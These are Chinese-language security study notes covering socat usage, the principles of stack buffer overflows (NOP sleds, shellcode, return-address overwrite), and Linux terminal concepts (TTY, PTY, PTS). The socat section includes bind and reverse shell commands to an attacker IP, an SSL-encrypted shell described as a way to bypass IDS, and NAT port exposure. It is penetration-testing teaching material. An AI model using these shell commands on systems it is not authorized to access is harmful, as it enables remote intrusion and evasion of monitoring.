Socat介绍及利用

简介 :

socat(英文全拼:Socket CAT)是 Linux 下的一个多功能的网络工具,其功能与有瑞士军刀之称的 Netcat 类似,可以看作是 Netcat 的加强版。socat 的主要特点就是在两个数据流之间建立通道,这些数据通道包含文件、管道、设备(终端或调制解调器等)、Socket、SSL、SOCKS4 客户端或代理 CONNECT。

socat 支持众多协议和链接方式,如 IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket 等。支持广播和多播、抽象 Unix sockets、Linux tun/tap、GNU readline 和 PTY,并提供了分叉、记录和进程间通信的不同模式。

.

.

语法 :

  • socat [ 选项 ] < 地址一 > < 地址二 >

    • 选项:

      • image-20211122110721124
    • 地址:

      • 使用 socat 需要提供兩個地址,然後 socat 做的事情就是把這兩個地址的數據流串起來,把第左邊地址的輸出數據傳給右邊,同時又把右邊輸出的數據傳到左邊。

        地址就类似于一个文件描述符,socat所做的工作就是在2个地址指定的描述符间建立一个pipe用于发送和接收数据。

      • 基础例子:

        • 最簡單的地址就是一個減號 “-”,代表標準輸入輸出,而在命令行輸入:

          socat - -

          就表示把标准输入和标准输出对接,输入什么就在shell中输出什么,类似于无参数的 cat 命令。

        • 除了 - 减号符号代表的地址外,还支持 TCP, TCP-LISTEN, UDP, UDP-LISTEN, OPEN, EXEC, SOCKS, PROXY 等多種地址,用於端口監聽、鏈接,文件和進程讀寫,代理橋接等等

        • 各种地址:

          image-20211122153715018

      • 地址参数的详细格式:

        • 以一个协议名开头,接着以冒号分隔主要参数,接着以逗号分隔细节选项参数
        • 协议:参数一:参数二,选项一,选项二
        • 举例:一个以 TCP 协议连接的网站的 80 端口 的地址应该这么写
          • TCP4:www.somewebsite123.com :80
          • 上面的例子没有写选项,但在之后可以附加一些选项,用逗号隔开,如fork,reuseaddr,stdin,stdout,ctty等。

.

.

常用功能 :

.

  • 1、网络连接:

    类似 nc 的监听和连接,可以一边使用 nc 监听, 一边使用 socat 连接

    • 监听端:socat — TCP-LISTEN:8080 (表示在监听端机器开启8080端口进行监听)

    • 连接端:socat — TCP:监听端 IP :8080 (表示连接端向监听端的8080端口发起连接)

    • 解释:

      • 在終端 1 上輸入第一行命令作爲服務端,並在終端 2 上輸入第二行命令作爲客戶端去鏈接。

        聯通後在終端 2 上隨便輸入點什麼,就能顯示在終端 1 上,反之亦然,因爲兩條命令都是把標準輸入輸出和網絡串起來,因此把兩個地址交換一下也是等價的:

        image-20211122113822589

        因爲 socat 就是把左右兩個地址的輸入輸出接在一起,因此顛倒左右兩個地址影響不大,除非前面指明 -u 或者 -U 顯示指明數據 “從左到右” 還是“從右到左”。

      • 同 netcat 一樣,如果客戶端結束的話,服務端也會結束,但是 socat 還可以加額外參數:

        image-20211122113916858

        服務端在 TCP-LISTEN 地址後面加了 fork 的參數後,就能同時應答多個鏈接過來的客戶端,每個客戶端會 fork 一個進程出來進行通信,加上 reuseaddr 可以防止鏈接沒斷開玩無法監聽的問題。

.

  • 2、端口转发:

    • 基础例子:

      监听端:socat TCP-LISTEN:8080,fork,resuseaddr TCP:192.168.1.xxx:80

      .

    • 解释:

      • 在主機上監聽一個 8080 端口,將 8080 端口所有流量轉發給指定機器的 80 端口

      • 連到這臺機器上 8080 端口的所有鏈接,相當於鏈接了 192.168.1.xxx 這臺機器的 80 端口,命令中交換左右兩個地址一樣是等價的

      • 這裏 socat 比 nc 強的地方就體現出來了,nc 做轉發時只能轉發 1 次,第一條鏈接 accept 並且關閉以後 nc 就退出了,無法接受新鏈接,因此 nc 只適合單次使用。

        而 socat 加上 fork 以後,每次 accept 一個鏈接都會 fork 出一份來不影響接收其他的新連接,這樣 socat 就可以當一個端口轉發服務,一直啓動在那裏。

        reuseaddr 设置本地端口可重复使用。

        還可以用 supervisor 託管起來,開機自動啓動。

        還可以用這個功能暴露一些 127.0.0.1 的端口出來供外面訪問,比起 nc 的臨時救急使用一下的場景,socat 是可以當一個服務長期運行的。

    • 使用场景:

      • 在实际生产中我们经常会遇到到一个场景就是,用一台机器作为转发服务器,连接 AB 两个网段,将转发服务器的某个端口上的流量转发到 B 网段的某台机器的某个端口,这样 A 网段的服务器就可以通过访问转发服务器上的端口访问到 B 网段的服务器端口。

        这样的场景一般在和客户建立专线的连接时候经常用到,一般也可以采用 iptables 做转发,但是比较复杂。socat 可以很轻松的完成这个功能,但是 socat 不支持端口段转发,只适用于单端口或者少量端口。

    • 实用例子:

      • socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672 ,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672

        参数说明:

        • -d -d :

          前面两个连续的 -d -d 代表调试信息的输出级别

          pwk 中的解释:supply the -d -d option to increase verbosity (showing fatal, error, warning, and notice messages)

        • -lf /var/log/socat.log :

          指定输出信息的文件保存位置

        • TCP4-LISTEN:15672:

          本地建立一个 TCP IPv4 协议的监听端口,也就是转发端口。这里是 15672,请根据实际情况改成你自己需要转发的端口。

        • bind=192.168.1.252 :

          指定监听绑定的 IP 地址

        • reuseaddr :

          设置本地端口可重复使用

        • fork :

          每次 accept 一個鏈接都會 fork 出一份來不影響接收其他的新連接,這樣 socat 就可以當一個端口轉發服務,一直啓動在那裏

          pwk 中的解释:

          fork creates a child process once a connection is made to the listener, which allows multiple connections

      • image-20211122122355562

.

/

  • 3、端口映射: (先搞清楚端口转发和端口映射的区别)

    • 在一个 NAT 网络环境中,也是可以通过 socat 将内部机器端口映射到公网上的。

    • 外部公网机器:

      • socat tcp-listen:1234 tcp-listen:3389
    • 内部私网中的机器:

      • socat tcp:outerhost:1234 tcp:192.168.1.34:3389
    • 上面的解释:

      • 这样,外部机器上的 3389 就映射在内网 192.168.1.34 的 3389 端口上,实现私网穿透。

.

/

  • 4、远程登录(shell 连接)

    • 之前我们说地址除了 TCP 和 TCP-LISTEN 外,另外一個重要的地址類型就是 EXEC 可以執行程序並且把輸入輸出和另外一個地址串起來

      既然如此,就能够利用这点进行传 shell,同样分为 正向 shell 和 反向 shell

    • 正向 shell:

      • 监听端:socat TCP-LISTEN:8080,fork,reuseaddr EXEC:/usr/bin/bash # 靶机端提供 shell
      • 连接端:socat - TCP:监听端 IP:8080 # 攻击机连接已知公网 IP 的靶机,然后获取到 shell
    • 反向 shell:

      • 连接端:socat TCP:攻击机 IP:8080 EXEC:/usr/bin/bash #靶机主动连接攻击机,并传shell
      • 监听端:socat TCP-LISTEN:8080,fork,reuseaddr - #攻击机监听连接,并开启 fork,reuseaddr选项
    • 一点完善,这里使用正向 shell 的情况演示:

      • 监听端(靶机):socat TCP-LISTEN:8099,fork,reuseaddr EXEC:/usr/bin/bash,pty,stderr

      • 连接端(攻击机):socat file:’ /dev/tty ‘,raw,echo=0 TCP:监听端 IP :8099

        • 监听端的意思是,把 stderr 标准错误输出重定向给监听端口的标准输出,把 pty (伪终端)也重定向给监听端口绑定的连接。简单来说就是给 连接端 送一个在 pty 中运行的 shell,且标准错误输出也送过去

        • 连接端的意思是,使用 tty 的方式访问,這樣基本就得到了一個全功能的交互式終端了,可以在裏面運行 vim, emacs 之類的程序。

          file:’/dev/tty’:表示和 /dev/tty 这个文件进行交互,这样 ctrl+c 也退出不了 连接

          raw : 表示地址后面跟的选项参数,生肉输出,大概是完整输出

          echo=0 :可以让输入的命令不在 shell 中重复出现一次

          具体可参考:

          https://unix.stackexchange.com/questions/165288/socat-disable-double-echo

    • 更高级的完善:

      • 正向连接的监听端(靶机):

        socat TCP-LISTEN:23,reuseaddr,fork,crlf exec:/bin/login,pty,setsid,setpgid,stderr,ctty

      • 解释:

.

/

  • 5、网页服务器:

    • 首先編寫一個腳本:web.sh

      image-20211122154641697

    • 這裏我們用 SYSTEM 地址類型代替原來的 EXEC 執行命令,因爲可以後面寫 shell 命令:

      • socat TCP-LISTEN:8099,fork,reuseaddr SYSTEM:”bash ./web.sh”h
    • 或者如下,做一个简易版的网页除错器

      • socat TCP-LISTEN:8000,crlf SYSTEM:”echo HTTP/1.0 200; echo Content-Type: text/plain; echo; cat”

.

/

  • 6、文件传输:
    • 接受端: socat -u TCP-LISTEN:8009 open:record.log ,create
    • 发送端: socat -u open:record.log TCP:接收端 IP:8009
      • 這裏用了 -u 參數,意思是數據從左邊的地址單向傳輸到右邊的地址,大寫 -U 的話是從右邊單向傳輸到左邊。
      • 传完了会自动结束,这点比 netcat 要更优秀

.

/

  • 7、读写分流:

    • socat 具有一个独特的读写分流功能,比如:可以实现一个假的 Web Server,客户端连过来之后就把 read.html 里面的内容传过去,同时把客户端的数据保存到 write.txt 里面。

    • 监听端:

      • socat open:read.html \ ! \ ! open:write.txt,create,append tcp-listen:8000,reuseaddr,fork

        注意:!! 符号用于合并读写流,前面的用于读,后面的用于写。由于 ! 在 Shell 中是特殊字符,所以这里在命令行中使用 \ 对其进行了转义。

.

/

  • 8、文件操作(本地):
    • 通过 socat 读取一个本地的文件,并在终端显示
      • socat - /etc/sysctl.conf
    • 通过 socat 将一段文本写入一个本地文件
      • echo “hello sb” | socat - /temp/hello.sh

.

/

  • 9、透明代理:
    • 用於 socks 代理的监听端:
      • socat TCP-LISTEN:<本地端口>,reuseaddr,fork SOCKS:<代理服務器IP>:<遠程地址的域名>:<遠程端口>,socksport=<代理服務器端口>
    • 用于 http 代理的监听端:
      • socat TCP-LISTEN:<本地端口>,reuseaddr,fork PROXY:<代理服務器IP>:<遠程地址的域名>:<遠程端口>,proxyport=<代理服務器端口>
    • 他們都可以把本地端口的請求轉換成使用代理服務器訪問的請求,比如:
      • socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
      • 那麼请求本地的 1234 端口,相當於通過代理服務器 127.0.0.1:5678 去访问 google.com 的 80 端口了,這裏用了 SOCKS4A ,後面 A 的意思是讓代理服務器去解析域名。

.

/

  • 10、SSL 连接(通过 openssl 来加密传输过程)

    • 前面我们使用 socat 传 shell 的时候,其实交流的内容是明文传输的。为了让信息传输更加安全,我们借助 SSL 证书来完成这个操作。像 SSL 这种程度的加密,基本上就能绕过 入侵检测系统 (IDS)

    • 具体操作:

      • 首先使用 openssl 这个软件,生成一个自签证书,使用到以下参数

        • req:初始化一个新的证书签名请求
        • -newkey:生成一个新的私玥
        • rsa:2048 :使用 RSA 加密方式,且密钥长度是 2048 位 (bit)
        • -nodes :以无密码验证(无密码保护)的方式储存私钥
        • -keyout :把密钥储存到一个文件中
        • -x509 :输出一个自签证书而不是一个证书请求
        • -days : 设置密钥有效期
        • -out :把证书保存到一个文件中
      • 上述操作会生产一个证书,和一个密钥。

        为了让 socat 可以识别我们的证书和密钥,首先要把证书和密钥放进同一个文件中,并以 .pem 格式保存

        具体演示图:

        image-20211125111542845

      • 现在就是用 socat 生产加密 shell (正向 shell)

        • 监听端:

          sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash

          We will use the OPENSSL-LISTEN option to create the listener on port 443, cert=bind_shell.pem to specify our certificate file, verify to disable SSL verification, and fork to spawn a child process once a connection is made to the listener

        • 连接端:

          socat - OPENSSL:监听端的 IP:443,verify=0

          We will use - to transfer data between STDIO and the remote host, OPENSSL to establish a remote SSL connection to Alice’s listener on 10.11.0.4:443, and verify=0 to disable SSL certificate verification

.

/

  • 11、搭建简单 VPN
    • 监听端:
      • socat -d -d TCP-LISTEN:11443,reuseaddr TUN:192.168.255.1/24,up
    • 连接端:
      • socat TCP:1.2.3.4:11443 TUN:192.168.255.2/24,up

.

.

socat 工作原理:

  • image-20211122174215378
    • image-20211122174241267

.

.

/

参考:

栈溢出漏洞原理

1 缓冲区溢出简介(堆、栈溢出)

经常听到什么栈溢出,堆溢出,其实他们都属于缓冲区溢出。

根据维基百科的解释:

缓冲区溢出(buffer overflow),

计算机科学上是指针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁着中断之际并获取程序乃至系统的控制权。

缓冲区溢出原指当某个数据超过了处理程序回传堆栈地址限制的范围时,程序出现的异常操作。

对于初学者,要完全理解这段解释,还需要对寄存器,内存,缓冲区,代码执行机制有一定的了解。

下面我就尝试以一个通俗易懂的角度解释上述内容。

.

.

2 内存

一段代码被执行的时候,一定会使用到内存来存放数据。

拿 C 语言来举例,对于一个普通的 C 语言程序, 它的内存由 5 个部分(Segment)组成, 每一个部分都有不同的用途。

为了更加完整一点,我又多画了一个 Kernel 内核区

如下图:

image-20220220152046607

.

每个部分的解释:

  • Text 代码区:

    • 存放程序的可执行代码。这一内存块通常是只读的。
  • Data 数据区:

    • 存放已经初始化值了的静态变量和全局变量
  • Bss 区:

    • 存放未被初始化值的静态变量和全局变量。系统会把这部分存放的值都用 0 来储存。
  • Heap 堆内存:

    • 用于动态分配内存分配,在 C 语言中,堆内存由 malloc()、calloc()、realloc()、free() 管理。意思就是使用这些函数的地方,其数据都会被保存在堆内存
    • 如果是有引用类型的变量,总是会放在堆内存中的
    • 还有一点值得注意的,堆内存的增长方向和内存地址增长方向是一样的
  • Stack 栈内存:

    • 存放函数内定义的局部变量,以及和函数调用相关的数据(实参,函数返回地址)

    • 关键点:

      栈内存的增长方向和内存地址的增长方向正相反,这么设计的原因是,假如栈内存的增长方向和内存地址的增长方向一样,那么假如栈内存的栈顶在内存地址的较高地址处,随着栈内存的增长,很容易就会造成内存溢出。而如果像现在这样,栈内存和内存地址的增长方向相对,那么就可以一定程度上避免内存溢出。

  • Kernel 内核区:

    • 主要用来存放从命令行调用程序时传入的参数,以及某些环境变量

.

.

3 栈内存

那么经过上图的理解,对缓冲区溢出有了进一步的认识了吧。可以简单地理解缓冲区就是内存里放数据的地方,然后缓冲区包括栈内存和堆内存,当栈内存或者堆内存储存的数据过大,超越了边界,就造成了缓冲区溢出。

虽然缓冲区溢出分为堆溢出和栈溢出,但在此篇文章我们重点讲解 栈溢出

要讲清楚栈溢出,首先更加了解栈内存结构

如下图:

image-20220220215022859

.

这是一段有栈内存空间存储数据的代码的栈内存结构图

对于其中的内容我们一一解释:

  • 首先是最上面的 Parent rountine ‘ s stack ,即父进程(线程)的栈。它保存着上一个被调用的函数的数据,最基础的比如 Function (方法),Parameters (参数)。

  • 然后是 Return address ,即返回地址。要知道每个函数被调用之后,执行完功能,都必须返回(无论有没有返回值)。那么返回到什么地方,就由这个 返回地址 来标明。

  • 接下来是 EBP 值,实际上 EBP 是寄存器存放当前线程的栈底指针。而在栈内存中,EBP 值就是一段地址数据,会被 寄存器 EBP 记录,所以直接就叫做 EBP 值。

    从这里开始,就可以算作是新栈(子线程或者新函数)的开始点了

  • Buffer 缓冲区,这里直接放个缓冲区其实是有点突兀的。因为我没有在前面写清楚代码,所以在这补充一下:之所以这里有一个 Buffer 缓冲区,是因为我为了说明缓冲区溢出,假定了代码中有一个使用到缓冲区的部分,所以才会在这里出现缓冲区 Buffer。

    此外,还需要注意一点的是,缓冲区中数据流入的方向和内存地址增长方向相同。如上图所标

  • 最后是 ESP 值,原本也是指寄存器的一种。ESP 寄存器存放当前线程的栈顶指针,在栈内存这里就表示栈顶的值。栈顶部是内存地址较小的区域,圧入栈的数据越多,ESP值也就越来越小

补充:

  • 说到寄存器,就要稍微提一下那几个 E 开头的东西(ESP,EBP,EIP)。首先要知道 E 开头表示是 32 位系统的寄存器,64 位的寄存器是 R 开头的
  • 前面讲了 EBP,ESP。还有一个比较关键的寄存器 EIP 没介绍:
    • EIP:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存 器中读取下一条指令的内存地址,然后继续执行。

.

.

4 栈溢出漏洞原理

结合前面缓冲区溢出的概念,以及栈内存结构,那么栈溢出漏洞的原理也不难。

首先要制造溢出,在栈内存结构图中我说明了 Buffer 缓冲区的数据增长方向,是和内存地址增长方向相同的。也就是随着数据的增长,会慢慢溢出,覆盖 EBP 值,然后覆盖到 Return Address 返回地址。而覆盖返回地址,并将其中的值填充成我们要的目标地址的值。

这么做的原因是,前面我们说过当函数执行完毕后,会根据 Return Address 中的返回地址值返回到某个特定的位置,然后再从那个位置继续执行代码。那么如果这个地址可以被我们自由操作,只需要将其改成我们 shellcode 的地址值,不就任意代码执行了吗?

.

那么这个 shellcode 的地址值要怎么写?或者说要怎么才能准确的知道 shellcode 的内存地址值?

甚至说 shellcode 要怎么写?写在哪?

.

解答:

  • shellcode 要写在哪?怎么写?

    由于我们从一开始就只能控制写入缓冲区中的数据,因此 shellcode 一定是写在缓冲区中的,而且一定是在 目标返回地址 的前面。总的来说,shellcode 应该是写在我们填入缓冲区数据的中间那部分。

    还有一点就是 shellcode 的形式是 16 进制的机械码,这段机械码是可以被 CPU 读懂的并且能够执行指令的。

    通俗来讲就是一串16进制的机器码,由CPU解释为操作指令 ,最后由内存加载执行。这些操作指令可以由工具生成,也可以自己编写,但通常我们都借助 msf 之类工具来编写。

  • Return Address 那里要填入的 shellcode 的地址值要怎么写?

上面说到 shellcode 是写在填入缓冲区数据的中间部分,其实可以通过一些工具查看寄存器中保存的地址来准确找到 shellcode 的地址

但要每次都准确找到就有点麻烦,所以这里有个技巧。可以在填入的缓冲区数据的前半部分(在 shellcode 之前),加入 \x90 这个机器码,它的意思是继续前进去读取下一个内存地址里的数据。

那么在前半部分加入了 \x90 之后,即使我们在 Return Address 部分填入 shellcode 的地址没有那么准确,也没有关系,毕竟只要落到了 \x90 这段数据中,就必然会执行到 shellcode 的位置。

可以理解为下图:

image-20220220235243046

(红色部分是 Return Address ,被遮挡住)

那么到此为止,栈溢出漏洞的原理我们已经了解了大概了,总结起来就是通过向栈中缓冲区填入有针对性修改的数据,这些数据包括 /x90 (前半部分),shellcode (中间部分),以及最后要覆盖到 Return Address 的 shellcode 的大概范围的内存地址值(后半部分)。从而实现任意命令(代码)执行,完成攻击。

.

.

/

TTY、PTY、PTS、PTM 都是什么?

详细解释:

  • 1、什么是终端 ( terminal ) ,这里先解释硬件终端

    • 最初的计算机由于价格昂贵,因此,一台计算机一般是由多个人同时使用的。

      在这种情况下一台计算机需要连接上许多套键盘和显示器来供多个人使用。

      在以前专门有这种可以连上一台电脑的设备,只有显示器和键盘,还有简单的处理电路,本身不具有处理计算机信息的能力,他是负责连接到一台正常的计算机上(通常是通过串口) ,然后登陆计算机,并对该计算机进行操作。

      当然,那时候的计算机操作系统都是多任务多用户的操作系统。

      这样一台只有显示器和键盘能够通过串口连接到计算机的设备就叫做 终端。 (此特指硬件终端)

  • 2、什么是控制台 ( console ),它和终端有什么联系? (历史时期的控制台概念)

    • 提到终端就不能不提控制台 console。控制台的概念与终端含义非常相近,其实现在我们经常用它们表示相同的东西,但是在计算机的早期时代,它们确实是不同的东西。

      学过机电的同学都知道,一些数控设备(比如数控机床 )的控制箱,通常会被称为控制台,顾名思义,控制台就是一个直接控制设备的面板,上面有很多控制按钮。

      在计算机里,把那套直接连接在电脑上的键盘和显示器就叫做控制台

      终端和控制台的区别就是:

      终端是通过串口连接上的,不是计算机自身的设备,而控制台是计算机本身就有的设备,一个计算机只有一个控制台。

      计算机启动的时候,所有的信息都会显示到控制台上,而不会显示到终端上。

      这同样说明,控制台是计算机的基本设备,而终端是附加设备。

      计算机操作系统中,与终端不相关的信息,比如内核消息,后台服务消息,都会显示到控制台上,但不会显示到终端上。比如在启动和关闭 Linux 系统时,我们可以在控制台上看到很多的内核信息(下图来自 vSphere Client 中的 “Virtual Machine Console”):

      image-20211209143453296

    • 以上是控制台和终端的历史遗留区别。

  • 3、什么是虚拟终端(包含虚拟控制台)?

    • 刚才我们解释了硬件终端,自然的就有虚拟终端。由于计算机硬件越来越便宜,通常都是一个人独占一台计算机操作,不再连接以前那种真正意义上的“硬件终端设备”了

      因此,终端和控制台的概念也慢慢演化了。

      终端和控制台由硬件的概念,演化成了软件的概念。

    • 现在说的终端,比如 linux 中的虚拟终端,都是软件的概念,他用计算机的软件来模拟以前硬件的方式。

      比如在 linux 中,用 alt+f1~f6 可以切换六个虚拟终端,就好比是以前多人公用的计算机中的六个终端设备,这就是为什么这叫“虚拟终端”的原因。

    • 而虚拟控制台在如今的定义简单而言就是,能直接显示系统消息的那个终端称为控制台,其他的则称为终端(控制台也是一个终端)。

      或者我们在平时的使用中压根就不区分 Linux 中的终端与控制台。

      举个例子:

      首先我们按下 alt + F1 (或者 ctr + alt + F1 )进入第一个虚拟终端(即默认它为虚拟控制台 console,它的虚拟终端名也默认为 tty1 )

      然后打下面的命令:

      echo “hello world” > /dev/console

      表示把 hello world 输出到 /dev/console 控制台上,那么 hello world 就正常地出现在 console 这个虚拟控制台 tty1 上(which is quite normal)

      image-20211209145417882

      但是如果我们 alt + F2 进入另一个虚拟终端

      然后同样打上一条命令,会发现,竟然在当前虚拟终端显示了 hello world

      image-20211209145638878

      .

      所以,在linux中,你无论在哪个虚拟终端下执行这条命令,字符hello,world都会显示在当前的虚拟终端下。也就是说,linux把当前的终端当作控制台来看待。

      可见,linux中已经完全淡化了控制台和终端的区别。

      所以,现在不必严格区分这两者的不同。

  • 4、什么是 TTY ?

    • 从历史上看,终端(硬件终端)刚开始就是终端机,配有打印机,键盘,带有一个串口,通过串口传送数据到主机端,然后主机处理完交给终端打印出来。

      电传打字机(teletype)可以被看作是这类设备的统称,主要由键盘、印字机和收发报机等组成。可以输入也可以输出。因此终端也被简称为 TTY (teletype 的缩写)。

    • 那么现在的 TTY 又是什么意思呢?

      之前我们 alt + F1-7 的时候,出来的虚拟终端名字就叫做 tty1-7 ,那么 TTY 是不是和虚拟终端是一个概念?

      其实是的,但是具体细节是这样的:

      前面我们讲随着时代发展,硬件终端逐渐变成了虚拟终端,但其实这里是怎么变成虚拟终端的,大有来头,且其中就包含了现在的 TTY 的概念。

      我们先回到上古时代,即使用硬件终端的年代

      人们通过硬件终端连接主机的底层原理概念图如下:

      image-20211209160000751

      • Terminal 就是各种各样的 teletype (指的是那个年代的电传打印机 )
      • 物理线路两边用上了Modem,就是我们常说的“猫”,暂时理解成网络连接工具
      • UART可以理解为将teletype的信号转换成计算机能识别的信号的设备

      上面的图解释了个大概,但还有个问题,那么多厂家的 teletype ,电脑主机是如何适配的呢?

      于是就有了为了适配不同 teletype 而出现的 TTY 子系统

      我们进一步扩展上面的原理概念图:

      Kernel 即上图 Computer 中的系统内核

      image-20211209160540935

      • UART driver对接外面的UART设备
      • Line discipline主要是对输入和输出做一些处理,可以理解它是TTY driver的一部分
      • TTY driver用来处理各种终端设备(即 teletype)
      • 用户空间的进程通过TTY driver来和终端打交道

      所以,当多个终端连接主机的时候,

      原理概念图如下:(不再单独把 UART driver 和 Line discipline 列出来,可以认为是 TTY driver 的一部分)

      image-20211209161220733

      好了,说这么多其实就像表达一个意思:

      在上古时代,主机为了适配不同的 teletype 终端,在物理层面上设计出了 TTY 子系统。不同的终端只要有对应的 TTY 子系统就可以被主机适配,并操作主机。

      而到了今天,这个概念也被沿用了

      你想,现在我们电脑往往只有一个硬件终端(键盘和显示器),但不同的键盘不同的显示器对于同一个操作系统(主机)来说,要怎么适配呢?

      同样是使用 TTY 子系统这个概念,不同键盘显示器,操作系统内核都会有一个专门适配他们的 TTY 子系统。加上 linux 系统一切皆为文件的思想,这个 TTY 子系统早都被抽象为一个文件系统了,所以理论上,你想要创建一个虚拟终端,无非就是多创建一个 TTY 文件

      这也是为啥 TTY 也有虚拟终端的含义

      即通过一些虚拟化技术与 TTY 子系统即可创建出虚拟终端,所以虚拟终端也称为 TTY

      补充一点

      虚拟终端也叫做 软件仿真终端

    • 总结一下,到底什么是 TTY ?

      • 具体而言应该是 TTY 子系统
      • 但是现今人们对 TTY 的概念指的是 虚拟终端,或者说是 软件仿真终端
    • 此外,现在我们通过键盘显示器和操作系统交互,实际上是通过硬件终端连上虚拟终端,然后再和操作系统进行交互

      • 即 键盘显示器硬件终端 -- 虚拟终端 -- 操作系统
  • 5、什么是 PTY?

    • 即 伪终端 ,PTY / pseudo tty / pseudo terminal

    • 为什么会出现伪终端?

      • 之前我们说的虚拟终端(软件仿真终端),它其实有一个特点,即运行于内核空间。

        关于这个概念不用理解太深,只需要知道它的移植性不好即可。因为虚拟终端,虽然我们说是虚拟,但是它本质上还是以来我们的键盘显示器(这类直接连接系统的硬件终端),比如我们直接从键盘输入信息,然后交给内核处理,再由内核把信息返回给显示器。

        这样的运行逻辑,显然是高度依赖硬件和内核的,故可移植性差

      • 所以为了让虚拟终端变得更加灵活,人们就想办法把它移到用户空间(和内核空间相对)

        为了将虚拟终端移到用户空间,同时保持 TTY 子系统的完整,伪终端 PTY 就被发明出来了

      • 移到用户空间有什么好处呢?

        你发现没有,之前我们说的那些虚拟终端什么的,是不是都是没有图形界面的?

        所以,到了上世纪80年代,随着【图形界面】的兴起,就出现某种需求——想在图形界面下使用“【文本】终端”。于是就出现了“伪终端”的概念

        通俗地说,“伪终端”就是用某个图形界面的软件来模拟传统的“文本终端”的各种行为。

    • 哪些属于伪终端?

      其实日常中我们接触的大部分都是伪终端

      • ssh等方式建立的连接是伪终端

      • 什么 PUTTY,MobaXTERM,Xshell 这些连接服务器的图形界面软件。它们都为伪终端

      • 平时在 linux 上打开的命令行,什么 Konsole,tmux,Qterminal,这些其实就是伪终端

      • 注意:

        区别什么是伪终端,有些自己的经验

        比如要带有完整的操作交互功能(ctrl+c ,ctrl + z )

        就像之前提到的稳定的 shell

        而类似 nc 这种连接建立的 反弹 shell 之类的,就不属于伪终端。

        因为 ctr + c ,nc 会断开连接,而不是像我们在本地打开伪终端再 ctrl + c 那样(只是取消操作)

        还有一个就是 su 命令,如果可以使用 su 命令那么至少是个伪终端

    • 伪终端可以用来干什么?

      • 最显著的用处就是可以用来远程用户登录,因为原来虚拟终端是通过硬件终端获取输入信息和通过硬件终端输出信息的,是处于“内核状态”。不可能说有别人想用这台电脑,还要到电脑面前开个虚拟终端。所以伪终端就很好地处理了这个问题,通过所谓的“用户态”从而实现了远程用户登录
      • 第二个就是图形界面,伪终端可以在图形界面中使用从而适应图形化时代。
  • 6、什么是 PTS , PTM ?

    • 伪终端分为主和从两个部分,与终端模拟器交互的部分是主(PTM,Pseudo TTY Master),与用户进程交互的部分是从(PTS,Pseudo TTY Master)。

    • 伪终端(pseudo terminal,有时也被称为 pty)是指伪终端 master 和伪终端 slave 这一对字符设备。

      其中的 slave 对应 /dev/pts/ 目录下的一个文件,而 master 则在内存中标识为一个文件描述符(fd)。

      伪终端由终端模拟器提供,终端模拟器是一个运行在用户态的应用程序。

      Master 端是更接近用户显示器、键盘的一端,slave 端是在虚拟终端上运行的 CLI(Command Line Interface,命令行接口)程序。Linux 的伪终端驱动程序,会把 master 端(如键盘)写入的数据转发给 slave 端供程序输入,把程序写入 slave 端的数据转发给 master 端供(显示器驱动等)读取。请参考下面的示意图(此图来自互联网):

      image-20211209201714944

      我们打开的终端桌面程序,比如 GNOME Terminal,其实是一种终端模拟软件。当终端模拟软件运行时,它通过打开 /dev/ptmx 文件创建了一个伪终端的 master 和 slave 对,并让 shell 运行在 slave 端。当用户在终端模拟软件中按下键盘按键时,它产生字节流并写入 master 中,shell 进程便可从 slave 中读取输入;shell 和它的子程序,将输出内容写入 slave 中,由终端模拟软件负责将字符打印到窗口中。

.

.


参考文章:

.

.

/